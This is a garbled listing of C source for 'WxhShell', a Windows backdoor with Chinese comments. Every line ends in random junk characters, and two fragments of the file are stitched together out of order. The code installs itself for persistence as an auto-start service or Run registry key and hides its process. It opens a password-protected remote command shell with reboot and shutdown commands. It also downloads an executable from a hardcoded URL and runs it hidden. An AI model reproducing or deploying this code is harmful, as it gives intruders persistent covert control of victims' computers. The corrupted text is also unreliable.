DWORD AffinityMask; ~R$[n.Vpk
DWORD BasePriority; XK3!V|y`
ULONG UniqueProcessId; bZK+9IR
ULONG InheritedFromUniqueProcessId; YPG,9iZ&f
} PROCESS_BASIC_INFORMATION; <oZ(n g@X
A$N+9n\
PROCNTQSIP NtQueryInformationProcess; oL)lyUVT
XUf7yD
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !^]q0x
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +#9xA6,AE
{sl~2#,}b1
HANDLE hProcess; avVmY|I
PROCESS_BASIC_INFORMATION pbi; wn{]#n=|l
InP[yFV-z
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~@ ?"'!U
if(NULL == hInst ) return 0; rI *!"PL
5'62ulwMP=
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NQg'|Pt(%
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b24di
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
wFp~
` %l&zwj>
if (!NtQueryInformationProcess) return 0; 7x%S](m%
,}n=Z
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !2#\| NJk
if(!hProcess) return 0; ~ t"n%SgY
)G^p1o;\
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '1Y<RD>x
T<XfZZ)l<`
CloseHandle(hProcess); 8B_0!U&]
"wC0eDf
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XRtyC4f
if(hProcess==NULL) return 0; IL2e6b
wG;}TxrLS
HMODULE hMod; :ao^/&HZ
char procName[255]; 219R&[cb
unsigned long cbNeeded; (I>HWRH
prqyoCfq
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >eEnQ}Y
kHGeCJe\{
CloseHandle(hProcess); O(WEgz
3Hy%SN(
if(strstr(procName,"services")) return 1; // 以服务启动 L,E-z_<p
5d> nIKW
return 0; // 注册表启动 @Jkui
} E7k-pquvE
5Ws5X_?d
// 主模块 AL(n*,
int StartWxhshell(LPSTR lpCmdLine) i[o&z$JO
{ sN"p5p
SOCKET wsl; /4(Z`e;0
BOOL val=TRUE; 'lxLnX
int port=0; }!eF
struct sockaddr_in door; \moZ6J
!p-'t]
if(wscfg.ws_autoins) Install(); sWp{Y.
f%vHx,
port=atoi(lpCmdLine); l#tS.+B7
"L ^TT2
if(port<=0) port=wscfg.ws_port; 0W;q!H[G
jkZ_c!
WSADATA data; >F,$;y52
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OY+!aG@.
!}z%#$
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )lQN)!.)
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0T7M_G'5Q
door.sin_family = AF_INET; Xs{/}wc.q;
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0@o;|N"i
door.sin_port = htons(port); ])+Sc"g4k
H<v c\r
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |*lH9lWJ
closesocket(wsl); A$%@fO.b
return 1; ],!\IqO
} JJ^iy*v
%j~9O~-
if(listen(wsl,2) == INVALID_SOCKET) { .@4Q kG/
closesocket(wsl); *U( 1iv0n
return 1; j7QBU
} ;%v%K+}r
Wxhshell(wsl); 9vB9k@9
WSACleanup(); sx<}
tbG
H4P\hOK7r
return 0; z:dXc
}K#iCby4
} Vww@eK%5Q
e@='Q H
// 以NT服务方式启动 Z}]:x
`fXd
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _Jf J%YXy
{ l*~"5f03
DWORD status = 0; ~+sne7
6 U
DWORD specificError = 0xfffffff; U;x99Go:
Z)C:]}Ex
serviceStatus.dwServiceType = SERVICE_WIN32; zyIza @V(
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;m-6.AV
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ej;Vr~Wi
serviceStatus.dwWin32ExitCode = 0; ##SLwrg
serviceStatus.dwServiceSpecificExitCode = 0; $xKg }cO
serviceStatus.dwCheckPoint = 0; i n[n Aa
serviceStatus.dwWaitHint = 0; gubb .EY
=YS!soO
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]hCWe0F
if (hServiceStatusHandle==0) return; {LR#(q$1
6|B a
status = GetLastError(); >qSO,$
if (status!=NO_ERROR) z'5;f;
{ ^4n2
-DvG
serviceStatus.dwCurrentState = SERVICE_STOPPED; .F{}~K]
serviceStatus.dwCheckPoint = 0; { Hktu|
serviceStatus.dwWaitHint = 0; a7QlU=\
serviceStatus.dwWin32ExitCode = status; 6Y0/i,d*
serviceStatus.dwServiceSpecificExitCode = specificError; ?7rmwy\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {jj]K.&
return; ;`X`c
} J>,'P^
|U;w !0
serviceStatus.dwCurrentState = SERVICE_RUNNING; gJWlWVeq$
serviceStatus.dwCheckPoint = 0; SL?%/$2g=O
serviceStatus.dwWaitHint = 0; }'@tA")-)
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *#X+Gngo
} I v 80,hW
z|t.y.JX
// 处理NT服务事件,比如:启动、停止 ;j[q?^ b
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7)ES!C
{ :X1`wBu
switch(fdwControl) xEd#~`Jmr
{ mI{CM:
:
case SERVICE_CONTROL_STOP: .#:@cP~v
serviceStatus.dwWin32ExitCode = 0; r9p?@P\:[
serviceStatus.dwCurrentState = SERVICE_STOPPED; R 47I\{
serviceStatus.dwCheckPoint = 0; LH?gJ8`
serviceStatus.dwWaitHint = 0; oT9XJwqnv
{ C9"f6>i
SetServiceStatus(hServiceStatusHandle, &serviceStatus); UgOGBj,&5W
} pn ~/!y
return; HQ-N!pf9
case SERVICE_CONTROL_PAUSE: ];YglHH
serviceStatus.dwCurrentState = SERVICE_PAUSED; ]ly)z[is"]
break; $=;bccIob
case SERVICE_CONTROL_CONTINUE: "9MX,}X*
serviceStatus.dwCurrentState = SERVICE_RUNNING; 7;$L&X
break; bUipp\[aV
case SERVICE_CONTROL_INTERROGATE: HbJadOK
break; 8yJk81
gY
}; ;n:H6cp
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~@a) E+LsF
} W2X+NacD
}[hDg6i
// 标准应用程序主函数 DbPBgD>Q
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r&j+; JM5
{ iG;d0>Sp
9I^H)~S
// 获取操作系统版本 S%a}ip&
OsIsNt=GetOsVer(); 9v5.4a}
GetModuleFileName(NULL,ExeFile,MAX_PATH); x r+E
A7I8Z6&
// 从命令行安装 7@e[:>e
if(strpbrk(lpCmdLine,"iI")) Install(); U3VsMV*Y
N?`GZ+5
// 下载执行文件 6i?kkULBS
if(wscfg.ws_downexe) { 52q!zx E
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q(${jz4w
WinExec(wscfg.ws_filenam,SW_HIDE); DI"dY
ug#
} HeAc(_=C
`siy!R
if(!OsIsNt) { $)i"[
// 如果时win9x,隐藏进程并且设置为注册表启动 Si%Eimiq
HideProc(); FrE/K_L
StartWxhshell(lpCmdLine); i >/@]2
} st1M.}
else r(/P||`l
if(StartFromService()) :u|UVp5
// 以服务方式启动 *SAcH_I2$>
StartServiceCtrlDispatcher(DispatchTable); 2-B8>-
else 37<GG)
// 普通方式启动 /fcwz5~
StartWxhshell(lpCmdLine); #!F8n` C-
s3fGX|;
return 0; @%5F^Vbd
} @)M.u3{\
)9;kzp/
2Xk1AS
z<C~DH
=========================================== Vv*5{_
rnt$BB[g
OkO@BWL
zfT'!kb,(
qkyX*_}
EZNB`gO
" n$\6}\k
KcMzZ!d7m
#include <stdio.h> Lh5+fk~i~8
#include <string.h> l<+,(E=
#include <windows.h> [$ Xu
#include <winsock2.h> EWvid4QEi
#include <winsvc.h> gs2&0rnOy\
#include <urlmon.h> 4QN6BZJ5
v|hKf6
#pragma comment (lib, "Ws2_32.lib") Bg
8t'dw?K
#pragma comment (lib, "urlmon.lib") s t 3]Yy
*Sp O|*'
#define MAX_USER 100 // 最大客户端连接数 :d/:Ga5v!
#define BUF_SOCK 200 // sock buffer <i`K%+<WO
#define KEY_BUFF 255 // 输入 buffer #IciNCIrG
J jL0/&
#define REBOOT 0 // 重启
61 HqBa
#define SHUTDOWN 1 // 关机 =F;^^VX
7[ VCCI
g
#define DEF_PORT 5000 // 监听端口 (l,YI"TzT
^gVbVz[17
#define REG_LEN 16 // 注册表键长度 ZpP6Q
#define SVC_LEN 80 // NT服务名长度 lVKF^-i
{gq:sj>
// 从dll定义API Z{>Y':\?<
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z8MpE
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -ZMl[;OM
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m~\m"zJ4
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Uu<sntyv
Pp" )hFx
// wxhshell配置信息 Szob_IEq,
struct WSCFG { RI].LB_
int ws_port; // 监听端口 Tr+Y@]"
char ws_passstr[REG_LEN]; // 口令 os0"haOI9h
int ws_autoins; // 安装标记, 1=yes 0=no 'G
By^hj?
char ws_regname[REG_LEN]; // 注册表键名 k1
txY
char ws_svcname[REG_LEN]; // 服务名 i2 Iu2
char ws_svcdisp[SVC_LEN]; // 服务显示名 sZ(Q4)r
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?_`P;}4#
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n ;fTx
int ws_downexe; // 下载执行标记, 1=yes 0=no .M#>@~XR
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ymh2qGcj]8
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UHm+5%ZC
L&F\"q9q71
}; ;@$, "
P
nHL>}Yg
// default Wxhshell configuration pl? J<48
struct WSCFG wscfg={DEF_PORT, SF}L3/C&h
"xuhuanlingzhe", kA$;vbm
1, >w'?DV>u|
"Wxhshell", [}B{e=`!
"Wxhshell", {`SGB;ho
"WxhShell Service", zj0pP{y
"Wrsky Windows CmdShell Service", ?>Ci`XlLr
"Please Input Your Password: ", w2_I/s6B
1, >5Rw~
"http://www.wrsky.com/wxhshell.exe", Bk(XJAjY
"Wxhshell.exe" dXy"yQ>{
}; &ppZRdq]
Pn){xfqDl
// 消息定义模块 t7&
GCZ
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }z%/6`7)|
char *msg_ws_prompt="\n\r? for help\n\r#>"; TEy.zzt
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A&|(%
char *msg_ws_ext="\n\rExit."; uTFEI.N
char *msg_ws_end="\n\rQuit."; 6O?S r,
char *msg_ws_boot="\n\rReboot..."; J};,%q_
char *msg_ws_poff="\n\rShutdown..."; p~VW3u]
char *msg_ws_down="\n\rSave to "; !)1Zp*
>@\?\!Go
char *msg_ws_err="\n\rErr!"; e(5Px!B
char *msg_ws_ok="\n\rOK!"; ^C#bW<T
'g,
x}6
char ExeFile[MAX_PATH]; ]$%4;o4O
int nUser = 0; E8V\J
HANDLE handles[MAX_USER]; FKTP0e7=9
int OsIsNt; $zH0$aOx
2G*#Czr"
SERVICE_STATUS serviceStatus; `e:RZ
SERVICE_STATUS_HANDLE hServiceStatusHandle; UmMYe4LQR
g0U\AN
// 函数声明 z+`)|c4-
int Install(void); [\y>&"uk
int Uninstall(void); >TVd*S
int DownloadFile(char *sURL, SOCKET wsh); &dMSX}t
int Boot(int flag); E<[
bgL
void HideProc(void); ?DTP-#5Ba
int GetOsVer(void); h1d0{
int Wxhshell(SOCKET wsl); bao5^t}
void TalkWithClient(void *cs); JHOBg{Wg
int CmdShell(SOCKET sock); 2:0Y'\nn
int StartFromService(void); G(,~{N||
int StartWxhshell(LPSTR lpCmdLine); lAt1Mq}?P
Ny<G2!W
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); , X+(wp
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ed2&9E>9b
x@l~*6!K
// 数据结构和表定义 |Y8o+O_`
SERVICE_TABLE_ENTRY DispatchTable[] = +m},c-,=$w
{ >dH*FZ:c
{wscfg.ws_svcname, NTServiceMain}, Uv$u\D+@[
{NULL, NULL} Oc3%pb;
}; FK('E3PG
tAn6pGp
// 自我安装 AMiFsgBj
int Install(void) QxL
FN(d
{ =C}<0<"iF
char svExeFile[MAX_PATH]; lBC-G*#
HKEY key; zIm!8a
strcpy(svExeFile,ExeFile); &xT~;R^
ZX}"
// 如果是win9x系统,修改注册表设为自启动 u 9TlXn
if(!OsIsNt) { #.xTAvD
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q";eyYdOL
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b,sc
RegCloseKey(key); )x s,
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j ZafwBi
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7l
EwQ
RegCloseKey(key); YA8~O5
return 0; [Y~ s
} a-hGpYJJG
} (KU@hp-\
} 0u9h2/ma
else { BGjTa.&
|ZzBCL8q
// 如果是NT以上系统,安装为系统服务 nAj2k
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tS@/Bq('B
if (schSCManager!=0) D'+8]B
{ >C66X?0cd
SC_HANDLE schService = CreateService 1W7BN~p14
( ~;s)0M
schSCManager, 00TdX|V`
wscfg.ws_svcname, 6S&YL
wscfg.ws_svcdisp, |`/uS;O
SERVICE_ALL_ACCESS, m^+~pC5
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YtQWArX,
SERVICE_AUTO_START, N$b;8F
SERVICE_ERROR_NORMAL, I'YotV7
svExeFile, (`xnA~BN
NULL, dkC / ?R
NULL, B\yq%m
NULL, SW,Po>Y
NULL, a^,RbV/
NULL }A^,y
); P
ie!Su`
if (schService!=0) 1i2w<VG1
{ h!]A(T\J
CloseServiceHandle(schService); K@hUif|([
CloseServiceHandle(schSCManager); &9{BuBO[
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,:{+
H
strcat(svExeFile,wscfg.ws_svcname); JR)rp3o-
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %W+Fe,]
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CB1u_E_
RegCloseKey(key); &o.SmkJI
return 0; z w9r0bG
} m8'1@1d|
} JH#?}L/0Fe
CloseServiceHandle(schSCManager); !}7m^
} lY`<-`{I_
} E]Q)pZ{Jb
b<7f:drVC
return 1; l"8YI sir
} 7L"/4w
jyr#e
// 自我卸载 .IU+4ENSy4
int Uninstall(void) ]={Hq9d@
{ cGKk2'v?
HKEY key; 4N&}hOM'S
2D"/k'iA
if(!OsIsNt) { O/nS,Ux
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nt6"}vO
RegDeleteValue(key,wscfg.ws_regname); @d|9(,Q
RegCloseKey(key); m6D4J=59
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l<?wB|1'
RegDeleteValue(key,wscfg.ws_regname); tAUMSr|?
RegCloseKey(key); r MlNp?{_
return 0; K%;yFEZ
} ~O6=dR
} Is[0ri
} a$m?if=
else { Q{60^vg
7j8_O@_
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;q2T*4NN
if (schSCManager!=0) iqeGy&F-
{ }p~%GA.=98
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5"U7I{\
if (schService!=0) S y~ 1U
{ K#@FKv|("
if(DeleteService(schService)!=0) { 4NIfQYC.
CloseServiceHandle(schService); $P_Y8:
CloseServiceHandle(schSCManager); clNP9{
return 0; \BW(c)Q
} QR4o j
CloseServiceHandle(schService); f`e.c_n(
} >Mn.|:DF]&
CloseServiceHandle(schSCManager); R0[Gfq9M=
} oLoa71Q}
} 0P 42C{>'w
5]E5 V@C
return 1; ?$Pj[O^hl
} ~m7+^c@,
vNIQc "\-
// 从指定url下载文件 ,U}8(D~:
int DownloadFile(char *sURL, SOCKET wsh) 75y#^pD?c
{ b%(0AL
HRESULT hr; <>TBM^
char seps[]= "/"; yyc&'J
char *token; Nsq%b?#
char *file; iKwVYL
char myURL[MAX_PATH]; UuGv= yC^6
char myFILE[MAX_PATH]; ^&By